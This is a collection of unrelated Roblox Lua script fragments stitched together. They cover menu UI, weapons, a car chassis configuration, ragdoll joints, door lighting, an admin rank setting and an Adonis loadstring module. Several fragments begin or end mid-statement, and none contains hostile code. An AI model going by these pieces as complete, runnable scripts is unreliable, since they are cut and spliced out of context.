otherIconSize.Y.Offset if otherIconHeight > newMinHeight then newMinHeight = otherIconHeight end end local canvasSize = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeX + XPadding self:set("menuCanvasSize", UDim2.new(0, canvasSize, 0, 0)) self:set("menuSize", UDim2.new(0, newFrameSizeX, 0, newMinHeight + values.scrollBarThickness + 3)) -- Set direction local directionDetails = { left = { containerAnchorPoint = Vector2.new(1, 0), containerPosition = UDim2.new(0, -4, 0, 0), canvasPosition = Vector2.new(canvasSize, 0) }, right = { containerAnchorPoint = Vector2.new(0, 0), containerPosition = UDim2.new(1, XPadding-2, 0, 0), canvasPosition = Vector2.new(0, 0), } } local directionDetail = directionDetails[direction] menuContainer.AnchorPoint = directionDetail.containerAnchorPoint menuContainer.Position = directionDetail.containerPosition menuFrame.CanvasPosition = directionDetail.canvasPosition self._menuCanvasPos = directionDetail.canvasPosition menuList.Padding = UDim.new(0, XPadding) end function Icon:_menuIgnoreClipping() self:_ignoreClipping("menu") end
-- Used in calculations for mouse clicks
local currentWaypoint = script.CurrentWaypoint
--// Firemode Settings
CanSelectFire = false; BurstEnabled = false; SemiEnabled = true; AutoEnabled = false; BoltAction = false;
--// Touch Connections
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_312_arg1) local L_313_, L_314_ = SearchResupply(L_312_arg1) if L_313_ and L_17_ then L_17_ = false L_106_ = L_24_.Ammo L_107_ = L_24_.StoredAmmo * L_24_.MagCount L_108_ = L_24_.ExplosiveAmmo if L_58_:FindFirstChild('Resupply') then L_58_.Resupply:Play() end wait(15) L_17_ = true end; end)
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Functions = {} function Functions.TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function Functions.UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Functions.IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Functions.CheckTableForString(Table, String) for i, v in pairs(Table) do if string.find(string.lower(String), string.lower(v)) then return true end end return false end function Functions.CheckIntangible(Hit) local ProjectileNames = {"Lightning", "Effect", "Projectile", "Arrow", "Bullet", "Water"} if Hit and Hit.Parent then local HumanoidFound for i, v in pairs(Hit.Parent:GetChildren()) do if v:IsA("Humanoid") then HumanoidFound = v break end end if not HumanoidFound and ((not Hit.CanCollide and Hit.Transparency >= 1) or Functions.CheckTableForString(ProjectileNames, Hit.Name) or Hit.Parent:IsA("Hat") or Hit.Parent:IsA("Tool")) then return true end end return false end function Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit) local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore}) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and Functions.CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end function Functions.GetTotalParts(MaxParts, PossibleParts, Parts) if MaxParts < PossibleParts then return MaxParts elseif Parts >= MaxParts then return 0 elseif MaxParts >= PossibleParts then local PartCount = (MaxParts - PossibleParts) if Parts <= MaxParts then PartCount = (MaxParts - Parts) if PartCount > PossibleParts then return PossibleParts else return PartCount end elseif PartCount >= PossibleParts then return PossibleParts else return PartCount end end end function Functions.GetParts(Region, MaxParts, Ignore) local Parts = {} local RerunFailed = false while #Parts < MaxParts and not RerunFailed do local Region = Region local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts) local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts) if #PartsNearby == 0 then RerunFailed = true else for i, v in pairs(PartsNearby) do table.insert(Parts, v) table.insert(Ignore, v) end end end return Parts end function Functions.CheckTableForInstance(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end return Functions
-- Warning: This script was automatically generated using the EventBlocks plugin.
--Version 1.43 Made my PistonsofDoom--
local carSeat=script.Parent.Parent.Parent.Parent local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115} while true do wait(0.01) local value=(carSeat.Velocity.magnitude)*(10/12) * (60/88) --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!-- if value<10000 then local nnnn=math.floor(value/1000) local nnn=(math.floor(value/100))-(nnnn*10) local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100) local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000) script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1] if value>=10 then script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1] else script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12] end if value>=100 then script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1] else script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12] end else script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10] end end
--[[ Credit to einsteinK. Credit to Stravant for LBI. Credit to the creators of all the other modules used in this. Sceleratis was here and decided modify some things. einsteinK was here again to fix a bug in LBI for if-statements --]]
local waitDeps = { 'Rerubi'; 'LuaK'; 'LuaP'; 'LuaU'; 'LuaX'; 'LuaY'; 'LuaZ'; } for i,v in pairs(waitDeps) do script:WaitForChild(v) end local luaX = require(script.LuaX) local luaY = require(script.LuaY) local luaZ = require(script.LuaZ) local luaU = require(script.LuaU) local rerubi = require(script.Rerubi) luaX:init() local LuaState = {} getfenv().script = nil return function(str,env) local f,writer,buff,name local env = env or getfenv(2) local name = (env.script and env.script:GetFullName()) local ran,error = pcall(function() local zio = luaZ:init(luaZ:make_getS(str), nil) if not zio then return error() end local func = luaY:parser(LuaState, zio, nil, name or "::Adonis::Loadstring::") writer, buff = luaU:make_setS() luaU:dump(LuaState, func, writer, buff) f = rerubi(buff.data, env) end) if ran then return f,buff.data else return nil,error end end
--Responsible for regening a player's humanoid's health
--Weld stuff here
MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W" ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)
--//Configure//--
EngineSound = "http://www.roblox.com/asset/?id=426479434" enginevolume = 0.5 enginePitchAdjust = 1 IdleSound = "http://www.roblox.com/asset/?id=426479434" --{If you dont have a separate sound, use engine sound ID} idlePitchAdjust = 0.9 TurboSound = "http://www.roblox.com/asset/?id=286070281" turbovolume = 1 SuperchargerSound = "http://www.roblox.com/asset/?id=404779487" superchargervolume = 0.5 HornSound = "http://www.roblox.com/asset/?id=143133249" hornvolume = 1 StartupSound = "http://www.roblox.com/asset/?id=169394147" startupvolume = 0.5 startuplength = 1 --{adjust this for a longer startup duration} WHEELS_VISIBLE = false --If your wheels transparency is a problem, change this value to false BRAKES_VISIBLE = false --This is to hide the realistic brakes, you can set this to false if you'd like to see how the brakes work AUTO_FLIP = true --If false, your car will not flip itself back over in the event of a turnover SpeedoReading = "MPH" --{KPH, MPH} RevDecay = 150 --{The higher this value, the faster it will decay} --//INSPARE//-- --//SS6//-- --//Build 1.0//-- --and i'll write your name. script.Parent.Name = "VehicleSeat" wait(0.1) checker = Instance.new("Model") checker.Name = "PGSCH" checker.Parent = game.Workspace checkertb = Instance.new("Part") checkertb.Name = "Test" checkertb.Parent = checker checkertb.CanCollide = false checkertb.TopSurface = Enum.SurfaceType.SmoothNoOutlines checkertb.BottomSurface = Enum.SurfaceType.SmoothNoOutlines checkertb.Transparency = 0.8 checkertop = Instance.new("Part") checkertop.Name = "Top" checkertop.Parent = checker checkertop.Anchored = true checkertop.CanCollide = false checkertop.TopSurface = Enum.SurfaceType.SmoothNoOutlines checkertop.BottomSurface = Enum.SurfaceType.SmoothNoOutlines checkertop.Transparency = 0.8 checker1 = Instance.new("Attachment", checkertb) checker2 = Instance.new("Attachment", checkertop) checkerrope = Instance.new("RopeConstraint", checkertb) checkerrope.Attachment0 = checker1 checkerrope.Attachment1 = checker2 checkerbf = Instance.new("BodyForce", checkertb) checkerbf.Force = Vector3.new(0, -1000000, 0) alertbbg = Instance.new("BillboardGui", script.Parent) alertbbg.Size = UDim2.new(0, 500, 0, 100) alertbbg.StudsOffset = Vector3.new(0,8,0) alertbbg.AlwaysOnTop = true alertbbg.Enabled = false alerttext = Instance.new("TextLabel", alertbbg) alerttext.BackgroundColor3 = Color3.new(97/255, 255/255, 176/255) alerttext.BackgroundTransparency = 0.5 alerttext.TextSize = 24 alerttext.TextStrokeTransparency = 0.8 alerttext.Size = UDim2.new(1,0,1,0) alerttext.BorderSizePixel = 0 alerttext.TextColor3 = Color3.new(1,1,1) alerttext.TextWrapped = true alerttext.Font = "SourceSans" alerttext.Text = "PGSPhysicsSolver must be enabled to use this chassis! Enable this feature in the Workspace." finesse = true vr = 0 checker.ChildRemoved:connect(function(instance) if finesse == true then alertbbg.Enabled = true vr = 1 end end) wait(0.35) if vr == 0 then finesse = false checker:remove() local PreS = script.Assets.PreSet:Clone() PreS.Parent = script.Parent PreS.Disabled = false script.Parent:WaitForChild("PreSet") script.Parent.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0.59), math.rad(0), math.rad(0)) if BRAKES_VISIBLE == true then bv = 0 else bv = 1 end
--Zoom function--
mouse.WheelBackward:connect(function() if CamV ~= "third" then if cam.FieldOfView <= 100 then cam.FieldOfView = cam.FieldOfView + 5 end end end) mouse.WheelForward:connect(function() if CamV ~= "third" then if cam.FieldOfView >= 20 then cam.FieldOfView = cam.FieldOfView - 5 end end end)
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create black= BrickColor.new("Really black") BaseUrl = "http://www.roblox.com/asset/?id=" LastAttack = 0 Lunging = false Grips = { Up = CFrame.new(0, -1.7, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), Out = CFrame.new(0, -1.7, 0, 1, 0, 0, 0, 0, -1, -0, 1, 0), } Sounds = { Unsheath = Handle:WaitForChild("UnsheathSound"), Slash = Handle:WaitForChild("SlashSound"), Lunge = Handle:WaitForChild("LungeSound"), } BasePart = Create("Part"){ Material = Enum.Material.Plastic, Shape = Enum.PartType.Block, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, FormFactor = Enum.FormFactor.Custom, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, } SoulFire = Create("Fire"){ Name = "Fire", Color = Color3.new((255 / 255), (0 / 255), (0 / 255)), SecondaryColor = Color3.new((85 / 255), (0 / 255), (0 / 255)), Heat = 18, Size = 2.5, Enabled = true, } SoulLight = Create("PointLight"){ Name = "Light", Color = SoulFire.Color, Brightness = 35, Range = 4, Shadows = false, Enabled = true, } Gravity = 196.20 SwordDamage = 25 ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) local myteam = Player1.TeamColor local theirteam = Player2.TeamColor return not (myteam ~= theirteam or (myteam == black and theirteam == black)) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Part, Damage) local PartTouched PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() then return end local RightArm = Character:FindFirstChild("Right Arm") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end local HealthAfter = (humanoid.Health - Damage) UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) spawn(function() humanoid.WalkSpeed = 9 wait(1.25) humanoid.WalkSpeed = 16 end) end) return PartTouched end function CreateTrail(Damage, TrailRate) local TrailLoop local Count = Create("IntValue"){ Value = 0, } local Enabled = Create("BoolValue"){ Value = true, } spawn(function() while Enabled.Value and ToolEquipped and CheckIfAlive() do local TrailPart = Handle:Clone() TrailPart.Name = "Effect" TrailPart.CanCollide = false TrailPart.Anchored = true Blow(TrailPart, 5) Count.Value = (Count.Value + 1) Debris:AddItem(TrailPart, 1) TrailPart.Parent = game:GetService("Workspace") TrailPart.CFrame = Handle.CFrame wait(TrailRate) end end) return {Connection = TrailLoop, Count = Count, Enabled = Enabled} end function Lunge() Lunging = true local Target = InvokeClient("MousePosition") if not Target then return end local TargetPosition = Target.Position local Direction = (CFrame.new(Torso.Position, TargetPosition).lookVector * Vector3.new(1, 0, 1)) Tool.Grip = Grips.Out Sounds.Lunge:Play() if Direction.Magnitude > .01 then Direction = Direction.Unit local NewBV = Create("BodyVelocity"){ P = 100000, maxForce = Vector3.new(100000, 0, 100000), velocity = (Direction * 50), } Debris:AddItem(NewBV, 0.75) NewBV.Parent = Torso Torso.CFrame = CFrame.new(Torso.Position, (TargetPosition * Vector3.new(1, 0, 1) + Vector3.new(0, Torso.Position.Y, 0))) end spawn(function() local LungeTrail = CreateTrail(5, 0.08) while Lunging and CheckIfAlive() and ToolEquipped do RunService.Stepped:wait() end LungeTrail.Enabled.Value = false end) wait(0.75) Lunging = false Tool.Grip = Grips.Up wait(0.5) end function Attack() Tool.Grip = Grips.Up Sounds.Slash:Play() local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", Parent = Tool, } spawn(function() local AttackTrail = CreateTrail(5, 0.06) while AttackTrail.Count.Value < 4 and CheckIfAlive() and ToolEquipped do RunService.Stepped:wait() end AttackTrail.Enabled.Value = false end) Tool.Grip = Grips.Up end function ConsumeTarget(character, number) local Part = BasePart:Clone() Part.Name = "Effect" Part.Transparency = 1 Part.Size = Vector3.new(0.5, 0.5, 0.5) Part.CanCollide = false local Fire = SoulFire:Clone() Fire.Size = 1 Fire.Enabled = true Fire.Parent = Part local Light = SoulLight:Clone() Light.Color = Fire.Color Light.Enabled = true Light.Parent = Part if number and number < 3 then number = 3 end if character then local torso = character:FindFirstChild("Torso") if torso then number = (number or 4) for i = 1, number do local Part2 = Part:Clone() Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4) local Propulsion = Create("RocketPropulsion"){ Target = torso, TargetOffset = Vector3.new(0, 2, 0), ThrustP = 500, ThrustD = 5, MaxSpeed = 150, MaxTorque = Vector3.new(4000000, 4000000, 0), Parent = Part2, } Debris:AddItem(Part2, 15) Part2.Parent = game:GetService("Workspace") Propulsion.ReachedTarget:connect(function() if not CheckIfAlive() then return end if Part2 and Part2.Parent then Part2:Destroy() end end) Propulsion:Fire() wait(0.25) end end else local TargetPosition = InvokeClient("MousePosition") if TargetPosition then TargetPosition = TargetPosition.Position local Direction = (TargetPosition - Torso.Position).Unit for i = 1, 5 do local Part2 = Part:Clone() Part2.CFrame = (Torso.CFrame + Torso.CFrame.lookVector * 4) local Velocity = (Direction * 150) local Mass = (Part2:GetMass() * Gravity) local BF = Create("BodyForce"){ Parent = Part2, force = Vector3.new(0, Part2:GetMass() * 196.2, 0), } Part2.Velocity = Velocity Part2.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = Hit.Parent end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (Player == player or IsTeamMate(Player, player)) then return end if Part2 and Part2.Parent then Part2:Destroy() end end) Debris:AddItem(Part2, 15) Part2.Parent = game:GetService("Workspace") end end end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Time = RunService.Stepped:wait() if (Time - LastAttack) < 0.2 then Lunge() else Attack() end LastAttack = Time Tool.Enabled = true end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") if not CheckIfAlive() then return end ToolEquipped = true spawn(function() local CurrentlyEquipped = true ToolUnequipped1 = Tool.Unequipped:connect(function() CurrentlyEquipped = false if ToolUnequipped1 then ToolUnequipped1:disconnect() end end) Sounds.Unsheath:Play() Humanoid.WalkSpeed = 18 spawn(function() while ToolEquipped and CurrentlyEquipped and CheckIfAlive() do wait(1) if not ToolEquipped or not CurrentlyEquipped or not CheckIfAlive() then break end Humanoid.Health = (Humanoid.Health + 0.25) end end) end) end function Unequipped() --[[for i, v in pairs(Sounds) do v:Stop() end]] if CheckIfAlive() then --SetPlayerMaxHealth(Humanoid, 100) Humanoid.WalkSpeed = 16 end Tool.Grip = Grips.Up ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle, SwordDamage)
--Collision
character.LowerTorso.CollisionGroupId = 0 character.RightLowerArm.CollisionGroupId = 0 character.LeftLowerArm.CollisionGroupId = 0 character.RightLowerLeg.CollisionGroupId = 0 character.LeftLowerLeg.CollisionGroupId = 0 end end) mouse5.KeyUp:connect(function(key) if string.byte(key) == 114 then humanoid:ChangeState(stateType.GettingUp) local UTJoint = character:FindFirstChild("UpperTorso") local LTJoint = character:FindFirstChild("LowerTorso") local RUA = character:FindFirstChild("RightUpperArm") local LUA = character:FindFirstChild("LeftUpperArm") local RUL = character:FindFirstChild("RightUpperLeg") local LUL = character:FindFirstChild("LeftUpperLeg") local RLA = character:FindFirstChild("RightLowerArm") local LLA = character:FindFirstChild("LeftLowerArm") local RLL = character:FindFirstChild("RightLowerLeg") local LLL = character:FindFirstChild("LeftLowerLeg") local RH = character:FindFirstChild("RightHand") local LH = character:FindFirstChild("LeftHand") local RF = character:FindFirstChild("RightFoot") local LF = character:FindFirstChild("LeftFoot") local HRP = character:FindFirstChild("HumanoidRootPart") local Torso character.UpperTorso.Waist.Part0 = LTJoint local Torso2 character.UpperTorso.Waist.Part1 = UTJoint local LUAJoint character.RightUpperArm.RightShoulder.Part0 = UTJoint local LUAJoint2 character.RightUpperArm.RightShoulder.Part1 = RUA local LUAJoint character.LeftUpperArm.LeftShoulder.Part0 = UTJoint local LUAJoint2 character.LeftUpperArm.LeftShoulder.Part1 = LUA local RULJoint character.RightUpperLeg.RightHip.Part0 = LTJoint local RULJoint2 character.RightUpperLeg.RightHip.Part1 = RUL local LULJoint character.LeftUpperLeg.LeftHip.Part0 = LTJoint local LULJoint2 character.LeftUpperLeg.LeftHip.Part1 = LUL local RLAJoint character.RightLowerArm.RightElbow.Part0 = RUA local RLAJoint2 character.RightLowerArm.RightElbow.Part1 = RLA local LLAJoint character.LeftLowerArm.LeftElbow.Part0 = LUA local LLAJoint2 character.LeftLowerArm.LeftElbow.Part1 = LLA local RLLJoint character.RightLowerLeg.RightKnee.Part0 = RUL local RLLJoint2 character.RightLowerLeg.RightKnee.Part1 = RLL local LLLJoint character.LeftLowerLeg.LeftKnee.Part0 = LUL local LLLJoint2 character.LeftLowerLeg.LeftKnee.Part1 = LLL local RHJoint character.RightHand.RightWrist.Part0 = RLA local RHJoint2 character.RightHand.RightWrist.Part1 = RH local LHJoint character.LeftHand.LeftWrist.Part0 = LLA local LHJoint2 character.LeftHand.LeftWrist.Part1 = LH local RFJoint character.RightFoot.RightAnkle.Part0 = RLL local RFJoint2 character.RightFoot.RightAnkle.Part1 = RF local LFJoint character.LeftFoot.LeftAnkle.Part0 = LLL local LFJoint2 character.LeftFoot.LeftAnkle.Part1 = LF character.RagdollFallingMoreFromAlexRagdoll.Disabled = true end end)
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- I hate to use this over a mathematical spring, but this means we don't need an entire extra module
local springPart = script:WaitForChild("Spring"); local BP = springPart:WaitForChild("BodyPosition"); BP.Position = Vector3.new(); springPart.CFrame = CFrame.new(); springPart.Anchored = false;
--Make the collision group for parts of characters not collide with itself
PhysicsService:CollisionGroupSetCollidable(GroupName, GroupName, false)
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.Lighting.flashcurrent.Value = "11"
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 51 Tune.IdleRPM = 200 Tune.PeakRPM = 1850 Tune.Redline = 2000 Tune.EqPoint = 75000 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 100 -- RPM acceleration when clutch is off Tune.RevDecay = 155 -- RPM decay when clutch is off Tune.RevBounce = 10 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--------LIGHTED RECTANGLES--------
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(1002) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(1002)
-- << CONFIGURATION >>
local rank = "Owner" local rankType = "Perm" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932 local successColor = Color3.fromRGB(0,255,0) local errorColor = Color3.fromRGB(255,0,0)
--game.ReplicatedStorage.gui.OnClientEvent:Connect(function() -- for i, v in pairs(game.SoundService:GetChildren()) do -- v:Stop() -- v:Stop() -- end -- script.Parent.Parent.victory.Enabled = false -- game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid -- script.Parent.Enabled = false -- isplaying = false -- script.Parent.Parent.victory.Enabled = false -- game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid -- script.Parent.Enabled = false -- game.SoundService.ocean:Pause() -- game.SoundService.ocean.Volume = 0 -- game.SoundService.forest:Pause() -- game.SoundService.forest.Volume = 0 -- script.Parent.TextLabel.Text = counter -- isenabled = false --script.Parent.ImageButton.AutoButtonColor = false -- ts:Create(script.Parent.ImageButton, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {ImageColor3 = Color3.fromRGB(98, 101, 255)}):Play() -- counter = 30 -- ts:Create(script.Parent.ImageButton, TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 1, false), {Rotation=360}):Play() -- --wait(3) -- script.Parent.seed.Visible = true ---- ts:Create(script.Parent.TextLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {TextTransparency=0}):Play() -- ts:Create(script.Parent.seed, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {TextTransparency=0}):Play() -- script.Parent.seed.Text = "SEED: " ..workspace.SEED.Value -- script.Parent.TextLabel.Visible = true -- ts:Create(script.Parent.ImageButton, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {ImageColor3 = Color3.fromRGB(54, 54, 54)}):Play() -- game.SoundService.ocean:Play() -- game.SoundService.ocean.Volume = 1 -- game.SoundService.forest:Play() -- game.SoundService.forest.Volume = 0.25 -- --while wait(1) do -- -- counter = counter - 1 -- -- script.Parent.TextLabel.Text = counter -- -- if counter == 0 then -- -- break -- -- end -- --end -- print("waiting") -- game.ReplicatedStorage.round_end.OnClientEvent:Connect(function() -- print("waited") -- script.Parent.Enabled = true -- script.Parent.ImageButton.Rotation = 0 -- counter = 30 -- isenabled = true ---- ts:Create(script.Parent.TextLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {TextTransparency=1}):Play() -- script.Parent.TextLabel.Visible = false -- script.Parent.ImageButton.AutoButtonColor = true -- ts:Create(script.Parent.ImageButton, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() --end) -- end) --game.ReplicatedStorage.music_change.OnClientEvent:Connect(function(id) -- if id == 0 then -- game.SoundService.big:Play() -- elseif id == 1 then -- if isplaying == false then -- isplaying = true -- ts:Create(game.SoundService.big, TweenInfo.new(3, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {Volume=0}):Play() -- wait(3) -- game.SoundService.big:Stop() -- game.SoundService.big.Volume = 0.5 -- game.SoundService.small:Play() -- end -- elseif id == 2 then -- wait(1) -- for i, v in pairs(game.SoundService:GetChildren()) do -- v:Stop() -- v:Stop() -- end -- script.Parent.Parent.victory.Enabled = true -- script.Parent.Parent.victory.TextLabel.BackgroundTransparency = 1 -- script.Parent.Parent.victory.TextLabel.TextTransparency = 1 -- ts:Create(script.Parent.Parent.victory.TextLabel, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {BackgroundTransparency=0, TextTransparency=0}):Play() -- game.SoundService.finish:Play() -- end -- end)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
